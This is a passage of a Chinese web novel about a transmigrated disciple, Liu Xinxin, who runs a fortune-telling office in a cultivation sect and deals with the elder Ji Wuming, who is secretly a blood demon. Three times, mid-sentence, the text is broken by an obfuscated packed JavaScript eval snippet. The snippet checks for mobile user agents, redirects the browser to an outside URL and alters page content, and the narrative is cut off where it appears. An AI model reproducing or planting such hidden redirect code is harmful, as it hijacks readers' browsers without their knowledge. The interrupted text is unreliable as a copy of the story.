这也是为何,她来了这么久一直都不敢轻易主动出击的原因,因为你不知道怎么的就会触碰到对方的雷区。她从来没遇见过比他更难搞的人。 不过事实证明,她的做法是对的,不用去找他,等他自己想通了,自然而然就会来找她了。 不知纪无冥是不是觉得那晚凶了她心生愧疚,下山三日后回门,对方竟然给她带各种点心和一件新衣,说是桃花饼的回礼。除了晨练,其他非必要场合弟子们是可以穿自己的衣服的,但她很少穿弟子服以外的衣服,因为懒得换。 纪无冥送她的是一件白色的襦裙,宽袖细腰,仙气飘飘,布料摸起来顺滑、轻薄,一看就是极好的料子。她只是试穿了一下就放进了衣柜里,穿这种衣服练起功来可不方便。 她现在可是为了能下山牟足了劲修炼,绝不会让纪无冥再有机会挑她的刺,想想那些从她指缝溜走的魅力值,她心里就难受得睡不着。 今日晨练过后,霍掌门突然取消了这段时间的晨练,让各位长老安排弟子自行修炼。每日一练的晨间冥想都能取消,圣清门恐怕是要有大事发生。可她记得在上篇中,除了纪无冥打怪积累经验,似乎没有什么大事,最重要的都是在结局了。 她看见远处准备飞走的明渊,赶紧上去把他拉住,问道:“明渊师弟我有事情要问你。” 明渊嘴角微微上扬,神色间尽是得意:“柳师姐,我猜你是要问我掌门为何取消晨练吧。” 柳辛歆毫不吝啬夸奖道:“厉害啊师弟,我正是要问你此事。” 明渊捂着嘴咳了一声,正色道:“这不巧了吗,我正好知道怎么回事。” 柳辛歆道:“好师弟,你快同我说说。” 听到好师弟三个字明渊感觉心都要飞起来了。他二话不说将柳辛歆拉到一旁,附耳低声道:“前几日我听见掌门和师父在讨论五长老的事情。” 柳辛歆疑惑道:“我师父?” 明渊用力点了下头,继续道:“五长老向来喜欢到处游历,这是长老和弟子们都清楚的一点。可她每回下山最多两个月就会回门一次,然而这次都过去将近半年了还不见五长老的身影,长老们用尽了办法也无法联系上五长老。” 柳辛歆回想起刚来的时候,桃林就只有她和万沭、古清三个人,她当时满脑子想的都是如何攻略男主,根本没考虑其他人如何。 江玉仙师姐确实是在闭关这个不用质疑,但五长老这个角色在原文中就没出现过,只是提了一嘴,还不如身为炮灰的柳辛歆呢。 她本来对这里的人结局如何是无所谓的,现在来了这么久,难免会对这里生出感情,不自觉就为他们担忧起来。她不如就下山去找五长老,然后再假装偶遇纪无冥,这下他总没理由说她了吧。 见她许久不说话,明渊道:“柳师姐,你说五长老会不会被血妖.....”说话间,他做了个抹脖子的动作。 柳辛歆立马道:“怎么可能。我师父何许人也,怎会轻易死于血妖之手。” 其实说这话时她也没多少底气,脑子里先想到了这句话就说了。 明渊脸上一惊,往周围看了又看,压着声音道:“这可不是我说的,是长老们说的,他们说总要做好最坏的打算。” 明渊继续道:“掌门现在就是想设法找到五长老,他已经让四长老和我师父下山了。而且最近血妖频繁出来作乱,各地送来的求助信都堆得半人高了,长老们不得不多派几位弟子下山。” 柳辛歆道:“看来我无论如何都要下山一趟了。” 明渊道:“哎,我也想下山,可我师父说我还不够格。” 两人同时又叹了口气。 圣清门中的弟子不过五百多名,一部分下山出任务、一部分历练,还有一小部分闭关修炼,留在门中的只怕只有几十个了。每日晨练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589384|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要聚一次,她也差不多对门中人都脸熟了。但现在她面前的这群人,除了衣服对得上,其他可半点不像圣清门弟子。首先在仪态方面就差了一大截,嬉皮笑脸、吊儿郎当、鬼鬼祟祟,很难不让人怀疑啊。 她看着面前这位肤色黝黑、笑得一脸猥琐的男弟子,打开他的任务信息一看:玉叶派,王三喜。 王三喜道:“你可是柳辛歆,柳师妹?” 柳辛歆道:“这位师兄不是圣清门弟子吧。” 王三喜惊道:“这都能算到,真是神了。我这也是迫不得已,毕竟圣清门规矩森严,不知道友可否通融一二。” 柳辛歆道:“你远道而来,我怎好赶你走。你只说明来此的目的即可。” 王三喜红着脸,不好意思地说:“我爱慕我师妹已久,我想知道我们两个有没有机会在一起。” “噗”,她真要吐血了。外面血妖正四处作乱,他们都看不见吗?还想着谈情说爱,修仙界危矣啊。 柳辛歆道:“这种事情你大可不必问我。你们俩有没有机会这不是取决于你吗?” 王三喜道:“什么叫取决于我?” 柳辛歆道:“我换个说法吧。如果我说你二人没有机会你难道就要放弃她吗?” 王三喜道:“那是自然,既然已经知道没有机会,何必浪费时间。” 柳辛歆道:“若我说你是有机会的,你又会怎么做?” 王三喜:“自然是去追求她。” 柳辛歆:“可不论你做什么,她都不喜欢你呢?” 王三喜一时语塞,半晌,结巴道:“那,那不就是你的问题吗。” 柳辛歆摇摇头:“看来你还是没懂我的意思。我说直白一些,你与其在这里预测你们有没有未来,倒不如花些时间去琢磨她的喜好,去了解她这个人。” 王三喜道:“这些我都知道啊。你还是没跟我说我俩适不适合,有没有未来啊?” 柳辛歆道:“我最开始就跟你说过了,你们有没有未来,取决于你的态度和做法。” 后面,她一连接待了好几个其他门派的弟子,都是问些无关痛痒的问题。 系统最终结算为:【魅力值+500。】 对于这个结果她还算满意,毕竟可比自家同门多了不少。晚上的时候,她准备关门,却发现门口还站着一名弟子,面相极其普通。柳辛歆道:“这位师兄,可是来算卦的?” 对方道:“嗯。” 柳辛歆道:“那便请进吧。” 她照常点开对方的信息,瞬间愣住了。她看了看对方的脸,又看了看这个金光闪闪的纪无冥三个字。 他这是玩哪出啊? 柳辛歆道:“不知这位师兄想算什么?还是有什么心事都可以同我说。” 纪无冥也不拐弯抹角,直接道:“你既然说自己什么都能算,那你便帮我算算前任掌门闻人奏现下是死是活。” 柳辛歆:“请稍等。” 她一本正经用大拇指在其余手指头上点了点,心道:“缺牙齿,给我看闻人奏的人物信息。” 缺牙齿:【此人物属于下篇的内容,若要提前解锁请花费10000魅力值。】 柳辛歆:“那就花。等等,我现在有多少魅力值?” 缺牙齿:【您现有33333魅力值。】 算了,还是记忆碎片重要。 柳辛歆硬着头皮道:“闻人掌门此事牵扯甚大,我道行浅薄,一时间拿不准,抱歉了师兄。” 纪无冥道:“算了半天,你就告诉我这些?” 柳辛歆道:“实在是无能为力。” 纪无冥将一袋银子放在她的桌上,起身便要走,她赶紧道:“我没算出来,就不收师兄的钱了。” 纪无冥道:“这银子就当我送给你的,你这事务所趁早关门吧。” 待听到对方关门的声音后,她将桌上沉甸甸的银子收进了衣服里,觉得对方的话不是不可以考虑一下。 15. 掌门传唤 恍惚间,辛歆看见男朋友坐在病床上,笑着跟她讲关于《血妖之子》的内容,脸上的表情千变万化,时而开怀大笑,时而咬牙切齿,时而满脸鄙夷。 她坐在旁边两手托腮,正听得入神,男朋友却突然变脸,不高兴道:“喂!歆歆,你到底有没有在听我说啊?” 辛歆坐直身体,急道:“我当然有好好听你......” 她张嘴要解释,却发现自己无法发出声音。男朋友偏头盯着她,撇了下嘴,道:“你根本就没好好听我说话,现在连解释一句都不肯了吗?你这么快就厌烦我了,巴不得我去死吗。” 听到对方这么说,她急得抓心挠肝,即使用了最大的声音说话,却依旧一个字也听不到。 转瞬间,耳边传来另一个声音,道:“柳师姐!柳师姐!” 她猛地清醒过来,发现自己在桃林的亭椅上睡着了。面前的明渊一脸担忧道:“柳师姐,你刚刚做噩梦了,一直再喊,把我吓坏了。” 柳辛歆一手扶上额头,发现手心一片湿润,背后也吓出了冷汗,她缓了缓道:“不好意思,吓到你了。你来桃林找我有事?” 明渊道:“柳师姐,掌门有事传你到竹林一趟。” 柳辛歆道:“你可知是何事?” 明渊道:“有弟子揭发,说你不务正业,扰乱圣清门清修。” 提到此事,柳辛歆瞬间就清醒了。她道:“谁干的?” 靠!若不是宋长荣下山历练,她一定会怀疑是他干的。对她最有敌意的宋长荣都下山了,到底还有谁在针对她。 她本来也是随口一问,也没想从明渊那里得到答案,不料对方道:“我当时瞧见了有个长得黑黑的,一脸油腻的弟子在掌门殿前鬼鬼祟祟,看衣服是三长老座下的弟子。我猜是他干的,但我好像对他没什么印象。” 能有印象就怪了,对方压根不是圣清门弟子,更不是什么三长老座下弟子。 柳辛歆怒目切齿道:“我知道是谁了。” 明渊两眼睁得老大,一脸感兴趣,道:“是谁?” 柳辛歆道:“我有时间跟你说,先去竹林吧。” 霍掌门的竹林在另一座山,相隔不远,仅一座山之遥。这座山可比主山大多了,远远就能看见山脚下的大片竹林,半山腰到山顶的殿宇庄严、肃穆,近距离看更显气派辉煌,大大小小有十余座。这才是天下第一派该有的样子啊。 再看看她住的那座主山,两座山这么一对比,她简直像生活在贫民窟。那些来桃林的弟子怎么能说出羡慕这种话?她竟然还真信了,以为自己住在了最好的地方,他们肯定住的很差。别人只是随口客套,也就她会当真吧。 明渊将她带到正殿外,便停住了。他道:“柳师姐,你自求多福吧。” 她深吸口气,进到殿内,眼睛完全不敢抬头看,弯腰拱手道:“弟子柳辛歆,见过掌门,见过各位长老。” 霍掌门道:“柳辛歆你可知我为何招你来此?” 柳辛歆道:“弟子不知。” 霍掌门道:“有弟子揭发你私自开什么事务所,扰乱圣清门清修。” 柳辛歆从容不迫道:“弟子开事务所只是图个开心,同门弟子经常光顾桃林,但我从未从他们口中听过此等言论,只怕是有小人从中作梗。况且,弟子没记错的话,弟子应当是没有触犯门规的。” 三长老严启厉声道:“有些事情,门规中没有写到,并不代表允许。你所行之事已经传到了各门各派,已经严重损害到了圣清门的清誉。你当我们这里是什么乡野之地吗!” 六长老江鹤遇道:“师兄,事情也没严重到这个地步。” 严启大声道:“你还在帮她说话,还有没有一点身为长老的威严了?” 江鹤遇道:“威严是要有的,但你看把人吓成什么样了?头不敢抬起来了。若是五师妹知道你这么教训她的弟子,定要跟你吵。” 此话一出,严启声音果然放小了些,道:“我就说了她几句而已,你不说说七师弟都关她多少次禁闭了?” 闻言,柳辛歆猛地抬起头,见右手边最末端的位置一身白衣的纪无冥坐在上面,盯着她出神,她抬头的一瞬间,对方又转过脸去了。 纪无冥冷静道:“最近很少关了。” 严启:“你们看看,你们看看,他说的是人话吗?” 霍掌门出来控制场面,道:“依我之见,此事只怕真是有小人作祟,我听明渊所说,他好像看见有几名不像圣清门的弟子在竹林鬼鬼祟祟。如若柳辛歆当真如信中所说扰乱圣清门清修,这揭发信恐怕就不止一封了。” 江鹤遇道:“我赞同师兄的看法。” 纪无冥默不作声,三长老哼了一声,二人应当都是同意的意思。 江鹤遇道:“我听闻你会算卦,知过去晓未来,那你可愿给我算一卦。” 柳辛歆赶忙道:“弟子所知不过一些皮毛,平日里跟同师兄弟开开玩笑,当不得真。” 江鹤遇又道:“可我听说,你的桃林极受欢迎,这是何故啊?” 柳辛歆道:“占卜之术确实非弟子所长,看透人心的本事倒还是可以说个一二的。” 霍柒略有兴致,问道:“哦,那你可愿展示一下。” 柳辛歆道:“这个当然没问题,只不过可能要得罪各位长老了。” 霍柒抬手一挥,道:“你只管说,有我在,没人能治你的罪。” 有了掌门做担保,她瞬间有了底气,道:“那各位长老多有得罪了。首先是三长老严师叔,您看起来脾气暴躁,修行也很严格,性格执拗,但在众长老中你是最疼爱自己弟子的,你能记住每位弟子的名字,甚至他们的生辰,这个属实让人有些意外。” 江鹤遇道:“三师兄,果真如此吗?” 严启的脸瞬间红了,捂嘴咳了一声,道:“差,差不多吧。” 霍柒笑眯眯看着对方道:“没想到三师弟的心思如此细腻,你我相识多年,我竟未看出半分。” 纪无冥低着头,嘴角短暂地微微上扬。 严启指着柳辛歆,道:“别光说我啊,你快说说其他人。” 柳辛歆道:“那我便再说说江师叔,您是长老中公认性子最沉稳的,实则你只是反应慢和记性差,而且很懒。您的徒弟少,正合你意,但是你其实希望还能更少。” 江鹤遇猛地剧烈咳嗽,不知道的以为他喝茶被呛到了。他道:“这孩子还真是什么都说啊。” 霍柒道:“六师弟,你此举莫不是也被说中了。” 江鹤遇道:“惭愧,惭愧。” 柳辛歆道:“掌门师伯就没什么好说的了。” 严启不乐意道:“他怎么就没什么好说的?” 柳辛歆道:“掌门师伯不管是外表还是内心都始终如一,心里如何想,那面上就如何做,从不搞口是心非那套。” 霍柒满意地点点头,嗯了一声,道:“正是如此。” 严启白眼一翻:“切~” 江鹤遇道:“该到七师弟了,我还真挺好奇,七师弟又是如何的性子。” 纪无冥一手扶着脑袋,微微侧头,似乎也很想知道,她是如何想他的。 对于纪无冥她还是有所保留的好,要是全盘托出,丢了他的面子,她可要遭殃了。柳辛歆道:“纪师叔是所有长老中性格最难懂的,他的脾气你摸不准,实在难搞。” 霍柒道:“说得好!果然有两下子,五师妹能得此徒弟,她应当也会感到欣慰的。” 江鹤遇道:“若是师姐在此的话.....” 几位长老除了纪无冥,都纷纷咳了一声,似是害怕她知道什么事。霍柒道:“辛歆啊,你就先回桃林吧。这件事情我会让弟子去查清楚。若真如你所言,是别派的弟子从中作梗,定会还你个清白的。” 柳辛歆道:“多谢掌门师伯,弟子就先行告退了。” 她回到桃林后,立刻将牌匾从墙上挖了下来,上面只留了一个大坑。她这次不被追究,全是看在她师父的面子上。五长老失踪,长老们都为此担心,这才放过了她。若她还不知好歹继续开事务所,到时候门规上会不会再加一条不允许开事务所也未可知。 歆屋前,她站在阶梯上,对着院子里的弟子们道:“各位同门,实在不好意思了,辛理事务所今后就不开了。” 有弟子道:“我这才第一次来,怎的就不开了?” “我刚刚看你从竹林回来,可是被掌门责罚了?” 柳辛歆:“那倒没有。” “那为何突然就不开了?” 柳辛歆:“想必你们都听过我师父的事情了吧。我师父现下生死未卜,我身为她的弟子实在没有心情搞这些东西了。” “那你现在要下山去找她吗?” 柳辛歆:“我的两位师兄现在不在山上,师姐也不知在何处闭关,能找她的就只剩我了。” “真可怜。” “本来五长老就经常不在山上,现下还生死未卜,太惨了。” 柳辛歆好不容易才将他们打发掉,觉得真是一身轻松,今后耳边总算可以清净了。让她没想到的是,纪无冥突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪无冥看着他笑眯眯的模样,瞬间来火,想说些难听的话,却不知自己以什么身份说。只能狠狠道:“柳师妹,可真是好人啊。” 柳辛歆道:“哪里哪里,师兄晚上外面蚊虫多,你快些进来吧。” 纪无冥忍着内心的怒气,咬牙道:“好啊。” 柳辛歆给他倒了杯茶,轻声细语道:“师兄可是有什么心事?” 纪无冥道:“柳师妹算卦没多大本事,看透人心这方面倒是有两下。” 柳辛歆道:“我这算得了什么。七长老看透人心的本事才是一绝呢。我当初只是看了他一眼,就被关了禁闭,你说他厉不厉害?” 纪无冥道:“那他可没冤枉你。” “我没说冤枉我,我是问你他厉不厉害。” “一般吧。” 柳辛歆憋住笑,正色道:“不知今日师兄是有何心事?” 纪无冥道:“我有些事情想不通。” 柳辛歆:“何事想不通?” 纪无冥:“我一个人的时候无事,但只要见到一个人,心里就会变得很乱。” 她打开攻略值:好感度20%,信任度0%,愉悦度0%。 柳辛歆道:“师兄,你可知你现在的状态,是会被关进寒洞的。” 纪无冥:“所以我问你有没有解决办法。” 柳辛歆道:“既然那个人使师兄心烦,何不远离她?” 纪无冥干脆道:“我试过,做不到。” 真没想到,她也有被迫当庸医的一天。柳辛歆道:“师兄你的这种情况是很正常的。我且问你两个问题,你必须如实回答我。” 纪无冥道:“什么问题?” 柳辛歆道:“第一个问题,师兄所说的那个人是名女子吧。” 纪无冥看了她一眼,道:“是。” 柳辛歆:“第二个问题,你可是从未或者很少与女子相处?” 纪无冥:“是。” 柳辛歆两手一拍大腿,道:“那就是了。师兄,你就是因为没跟女子接触过,所以才会有这种奇怪的感觉,你跟她多多相处,习惯了便好。” 纪无冥半信半疑道:“是这样吗?” 柳辛歆道:“自然是,我的占卜术确实略显生疏,但在心理这方面我可是行家。” 纪无冥道:“那我具体该怎么做,才能快点习惯。” 她道:“你也无需太刻意,和平日一般便好了。” 纪无冥松了口气,心里总算舒畅了。 16. 血海深仇 次日,照常有几名弟子到桃林练功,她为了下次能让纪无冥带她下山,拿着灼玉奋力地挥舞,累得满头大汗,完全没有注意到远处走来的人。 喘息之间,只听得耳边的风声逐渐减弱,弟子们纷纷道:“弟子见过师叔。” 扭头一看,纪无冥一手置于腹前,面上气定神闲,缓步走来。她紧跟着道:“见过纪师叔。” 纪无冥朝着众人淡淡的点了下头,便像回自己家一般,走到不远处的凉亭,坐下来给自己倒了杯茶,悠闲地喝了起来。他察觉到一旁的视线,斜眼望去,众人均装作若无其事,这个摸摸剑,那个挠挠脸。 柳辛歆没想到对方不仅把她的话听进去了,而且还是个行动派。 众弟子以为纪无冥是来监督她练功的,是以没有多话,又自顾练起功来。几人面上没说什么,却在暗地里互相较劲,都想着在长老面前好好表现一番。 她抬手正要挥剑,忽的,旁边吹来一阵疾风,回头望去,瞬间目瞪口呆。 眼前几道白影闪来闪去,上蹿下跳,剑气乱窜撞在一起发生巨大的爆炸,激起一阵疾风。片刻的功夫,临近的桃树已经只剩下树杈子了。好在桃林设有生长阵法,不出三日,那些桃花又能重新长回来。 她转头望向另一头,凉亭下,纪无冥已经换了个位置,从石凳上转坐在了廊椅上,背靠着柱子,一脚拱起,一手搭在围栏上撑着头,另一手卷玩自己的头发,饶有兴致地看着他们。 她心念一动,原来纪无冥喜欢看人练剑。这可是提高好感度的大好时机,没有犹豫,索性加入了几人的群魔乱舞。 纪无冥眼看着柳辛歆扎进弟子堆里,瞬间皱起了眉头,飞来飞去的人影遮住了那个娇小的身影,心里顿感烦躁。 是以后来他没给众人一个好颜色,全程黑着脸。众弟子被他盯得浑身不自在,都纷纷告了退,转眼间,林中就剩她和纪无冥两人了。 她默默收了剑,走到凉亭里。纪无冥盯着她,面色缓和了不少,道:“怎么不练了。” 柳辛歆坐在石凳上,给自己倒了杯茶,无奈叹了口气:“您在这里,弟子们吓得不敢练了。” 此话一出,纪无冥直起身子,走了两步,坐到了她的面前,神情愉悦,拿起茶杯喝了口茶,道:“他们练他们的,与我何干。” 柳辛歆道:“您坐在这里一直盯着我们,时不时就皱眉、叹气的,偏生还什么都不说。弟子们不知道自己哪里练得不对,又不敢上前问您,这不都跑光了吗。” “......” 她随口又说道:“圣清门留在山上的弟子本就不多,平时能一起练功的少之又少,难得有人陪我练剑,可惜了。” 纪无冥放下茶杯,一副悠闲的模样,淡淡道:“一个人也可以练。” 柳辛歆一手托腮,郁闷道:“一个人练功多无聊啊。几个人一起练,若是哪里做得不对,还可以互相有个提醒,偶尔还能切磋切磋。” 纪无冥眉梢轻挑看向她,语气平静,道:“你想找人切磋,我可以陪你。” 柳辛歆两眼放光,激动道:“当真?” 纪无冥站起身向亭外走去,淡定道:“来。” 桃林中央,二人分别手握长剑,柳辛歆将剑转向身后,抱拳道:“师叔,请赐教。”纪无冥淡淡的点了下头,手握断春水,一脸从容。 她举着剑上去就使了套圣清门的剑法,剑法干脆利落,身形迅捷无比。纪无冥一手负在身后,一手握剑抵挡。柳辛歆看出来对方所用的都是防守剑法,压根就没想跟她打,只当陪她练练手。后面她挥剑的速度越来越快,招式越发生猛,纪无冥眼底闪过一丝讶异,这才开始转变剑招,从防守变成进攻。 二人在桃林中打得有来有回,几道凌厉的剑气划破空气,整个桃林都受到了波及,狂风大作,桃花漫天飞舞,美极艳极。上方花落的最后一刻,她的剑尖直刺对方咽喉,纪无冥却快她一步剑身抵在她的颈边。 柳辛歆收了剑,拱手道:“不愧是纪师叔,剑法着实惊人,弟子今日领教了。” 纪无冥也收了剑,道:“你也是。” 回到亭中,她倒了两杯茶,一杯递给了纪无冥,自己喝了一杯。柳辛歆真心感慨道:“果然这长老不是谁都能当的。”她言外之意其实是不愧是大男主,同为天才,你的实力却能比我高出一大截。 纪无冥没有立刻回答,低头盯着面前的茶水,眼里染上一丝忧伤,道:“我能当上长老也是无奈之举。” 柳辛歆心里蓦地一动,一下来了兴致,八卦之魂在她心里熊熊燃烧。她小心问道:“这又是何缘故?” 说实话,柳辛歆真的觉得自己是混得最差的穿书人了。没看过原文,系统也不向她透露剧情,她只能靠着脑子里的那点回忆支撑着。上篇她还算半个开天眼玩家,到了下篇她可就完全变成书中人了。 纪无冥脸色一沉,眸中透着森寒,严肃道:“圣清门和血妖曾有过一场大战,那场大战差点导致圣清门灭门。” 七年前,血妖族中有位身份尊贵的六尾血妖狐造了杀孽,杀害了当时圣清门的三长老闻人止,他同时也是前任掌门闻人奏的弟弟。掌门得知此事后,立刻带着众弟子追杀那只六尾血妖,在对方即将跨过两生河之时,成功将其拦截杀死。 血妖一旦死亡,立马就会变成一滩血水,死无对证,再怎么也不会查到圣清门的头上。可偏偏当时那只六尾血妖的身边还有个小的。血妖不管大小骨子里都是自私的,它们不会明白是非恩怨四个字。简单粗暴来说,血妖的逻辑是:我杀你可以是为了报仇,但你杀我就是单纯的伤害我。 那只小血妖逃回妖界后,将六尾血妖狐被杀一事告知族群,不出一日,血妖族中的所有精锐立刻出动,杀光了当时追杀他们的所有圣清门弟子,只有掌门未看见尸体,生死未卜,至今下落不明。 按理来说,那群血妖杀光了追杀六尾血妖的几位弟子也算是报了仇,两方就此罢手,到头来还是圣清门损失比较严重。谁曾想,三日后,血妖族一众长老带着手下攻上了圣清门,放火烧山,见人就杀,毫不留情,断尘山七个住所均是血流成河。血妖为了不让他们向其他门派求援,设下死亡结界,施术的血妖不死,结界不破。那场大战整整持续了七天,除了身为二长老的霍柒,其余五位长老全部死于血妖之手,圣清门弟子损失数量上千名。自那之后,人和血妖,准确来说是圣清门和血妖族才真正结下了血海深仇。 霍柒接掌门之位后,带着剩余的圣清门弟子重振圣清门。又过了三年,圣清门逐渐引进新血脉,其中几位弟子修为大有所成,这才开始接替六位长老的位置。七位长老中,除了霍掌门年过半百,最大的三长老也不过而立之年。 听纪无冥说完,她久久回不过神,没想到天下第一的门派,竟然还经历过这么绝望的时刻。纪无冥道:“血妖对仇恨比人和妖都要较真,圣清门不亡,它们是不会善罢甘休的。” 她回想起新生试炼的阵法,恍然大悟,道:“所以在招新试炼中,您设下的阵法其实是针对血妖的。” 纪无冥面色铁青,咬牙道:“是。五年前有血妖扮成新生弟子混入了圣清门,多名弟子遭到残忍杀害。那个阵法是照妖镜和窥心术二者合一的法术,是我前两年创的。只因还不能熟练应用,所以需要有人在旁启动阵法。” 柳辛歆又问道:“那您使用明心镜时,只是看了对方的记忆,并没有感他所感?” 纪无冥扫了她一眼,忍着没翻白眼,无语道:“当然没有,我没那闲工夫。” 这么说来,圣清门把动情一事看得也并非那么重要,所做的一切不过是为了与血妖抗衡。 二人有一搭没一搭地聊了些其他的事情,眼看到了午时,她顺便留纪无冥吃了个饭。两位师兄不在的这段日子,她的厨艺可谓是飞跃式的提高,三菜一汤轻松搞定。 纪无冥也很给她面子,辣菜基本上都被他一个人吃光了。饭后,对方没有继续留在桃林,说是困了,要回屋睡觉。听到这里,她真是羡慕得有些嫉妒了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听对方说得不明所以,她问道:“有何不同?” 纪无冥道:“看见她的时候只是心乱,她旁边一旦有人,我便觉得心烦。” 换了副面孔后,他可真是什么都敢往外说啊。柳辛歆道:“许是你习惯了和她两个人,突然多了这些人你心里不是滋味是正常的。” 纪无冥道:“我只想她一个人同我好,这也是正常的吗?” 柳辛歆撒谎不打草稿,道:“正常。朋友之间经常会有这种情况。你同她好,她却同谁都好,这很容易让人产生吃醋的心理。依我之见,习惯了便好。” 纪无冥道:“可我不想习惯,我要她只同我好。” 柳辛歆道:“师兄,你这种情况属于占有欲过强,我们大家都是同门,她怎么能做到只跟你一个人好呢。” 纪无冥干脆利落道:“怎么不行?” 她发现纪无冥自从换了张脸后,说话方式都不一样了。果然不是自己的脸,怎么丢都无所谓。 柳辛歆道:“那师兄何不去同那位师姐说清楚?” 纪无冥沉默了片刻,道:“我觉得此事不妥。” 柳辛歆看着对方不开心,又一脸认真的模样,没忍住笑了出来。 纪无冥看着她笑,心里更不是滋味了,道:“你笑什么?” 柳辛歆幸灾乐祸道:“没什么,只是觉得师兄很可爱。” 纪无冥黑着脸,道:“你不许笑。” 柳辛歆道:“好好好。其实,我还有一计,师兄若见不得她跟别人好,你不看就是了,眼不见为净嘛。” 纪无冥却道:“见不到更烦。” 柳辛歆摇摇头,满脸同情,心里早已乐开了花,她道:“师兄,你这种情况,属实难办啊。” “我这里也没有什么解决办法,但若你有心烦的时候,可以随时来找我。我虽帮不上忙,但也可做一个可以倾诉的人。你现在觉不觉得同我说了这些事,心情好多了?” 纪无冥目光低垂,思索片刻,抬眼道:“是好了些。” 她欣慰地点了点头,道:“那就是了。” 柳辛歆手上拿着一个鼓鼓囊囊的钱袋子,在门口目送对方离开,开口喊道:“师兄,以后常来啊。” 纪无冥没有回头,心里气极了,决定以后都不会再用这张皮囊来见她了。 17. 男主身份 五长老失踪后,掌门派两位长老下山已经有七日,却始终不见他们传信回门。她还是一如既往每天练功,提升自己的实力, 虽然说,她身为一个炮灰再多努力修炼也无用,再强也强不过男主,最终的结果还不是一个死字。执行任务的时候,她也只要躲在纪无冥身后,为他加油呐喊,顺便蹭蹭魅力值即可。但她好歹是个新时代独立女性,有理想有抱负有能力,原主柳辛歆的修为资质极佳,纪无冥还送了她一把好剑,更是锦上添花,她还有什么理由不去战斗呢。 其实最主要的还是她等级提高了,系统解锁了辅助功能,要是帮助男主完成任务,可以获取额外的魅力值。 她一手挥剑,脑子里越想越兴奋,恨不得现在就下山找两只血妖练练手。忽然,一旁休息的弟子道:“柳师妹,你这把剑可真好看,可是出自玄虚楼之手?” 柳辛歆停下手中的动作,答道:“师姐慧眼如炬,此剑正是出自玄虚楼。” 另一位弟子刘绅不服道:“说到剑,谁能有我慧眼?让我瞧瞧。” 她将剑递了过去,对方接过剑,抬手摸了一遍,点了点头道:“确实好。这柄宝剑所用的都是极好的材料,光是剑柄上的晶石就不多见,有抵抗妖力的作用。剑身打磨的厚度适中,坚硬而不失锋利,重量与我而言偏轻,柳师妹用起来应当是刚刚好。” 对方手腕一转,将剑柄对着她还了回来。她接过剑,道:“我用起来确实趁手。” 边悦道:“如此宝剑,又是出自玄虚楼之手,想必价格不菲。” 刘绅举起一根手指,道:“至少这个数。” 边悦:“一百两?” 刘绅:“黄金。” 边悦满脸震惊看向她,道:“柳师妹,原来你这么有钱吗?” 柳辛歆连连摆手,道:“没有。此剑是纪师叔赠与我的,我并不知如此贵重。” 边悦、刘绅一齐喊道:“纪师叔!” 原来比起她是有钱人,让人更震惊的是,这把剑是纪无冥送的。柳辛歆解释道:“前段时间我的剑断了,便宜的用不好,贵的买不起。纪师叔怕我在对战中因为断剑受伤,于是就自掏腰包送了我一把。” 边悦道:“纪师叔果真是我见过最琢磨不透的人。远看冷言少语,对谁都漠不关心,没想到他竟然还藏着如此温柔、细腻的一面。” 刘绅道:“你说的这些,可不就像别派对我们圣清门的看法吗。世人皆说圣清门弟子冷漠无情,进了圣清门当弟子比当和尚还可怕。我们再无情,能有血妖无情?” 边悦道:“说的没错。血妖那才是真正的无情无义,它们狠起来可是连自己都不顾。” 听着二人的对话,从纪无冥转到了血妖,她突然灵光一现,想起了一件非常重要的事情。柳辛歆一巴掌拍在自己的脑门上,她怎么能把这件事忘了呢。 旁边的两名弟子不明所以,边悦问道:“柳师妹,你怎么了?” 柳辛歆道:“没事,没事,我就是有些累了。我先回房休息了。师兄、师姐,你们自便啊。” 两人一脸疑惑,看着柳辛歆着急忙慌跑进了房间里,边悦道:“好......” 她真是佩服自己了,果真是应了宋长荣的那句话——在桃林安逸久了。她怎么能把这件事忘了。在上篇的大结局中,纪无冥可是被识破了血妖的身份,遭到了同门的围剿啊。如果按照原剧情发展,她岂不是要替纪无冥挡剑,可她的攻略值都还没满啊。 柳辛歆道:“缺牙齿,纪无冥现在的任务进度是多少?” 缺牙齿:【男主上篇的任务进度已经进行到80%。】 柳辛歆道:“原文中,柳辛歆是在上篇的最后被杀死的,那我必须在上篇中完成配角的任务吗?” 缺牙齿:【由于宿主的介入,剧情进度得到大幅度提高,所以您无需和原文一样死亡,只需在原文大结局前完成任务即可。】 柳辛歆道:“那就好,你还不算太黑心。” 她点开攻略值:好感度30%,信任度0%,愉悦度10%。 她必须在三项数值同时达到一百的情况下,为男主挡刀而死。她现在都无法想象怎么可能做到,纪无冥的情绪起伏太大了,完全抓不准,到时候但凡少了1%都算任务失败。 话说,纪无冥在圣清门呆了这么多年,竟然没有人发现他血妖的身份。但她转念一想,纪无冥身为长老,同时还是窥心术的高手,谁会对他使用明心镜,谁又敢怀疑他。 他可是十五岁杀死设下死亡结界的血妖,十八岁成为圣清门长老,二十二岁声名远扬,从未尝过败绩的天才中的天才啊!如果对方不是血妖的话,这些听起来确实牛逼,对方是血妖的话,听起来也算合理。 血妖之力强悍无比,因其极端的性格,所以能修炼到百年者少之又少。纪无冥如今才修行了二十几年就能有如此实力,若是修到百年,只怕是世间无人能敌了。 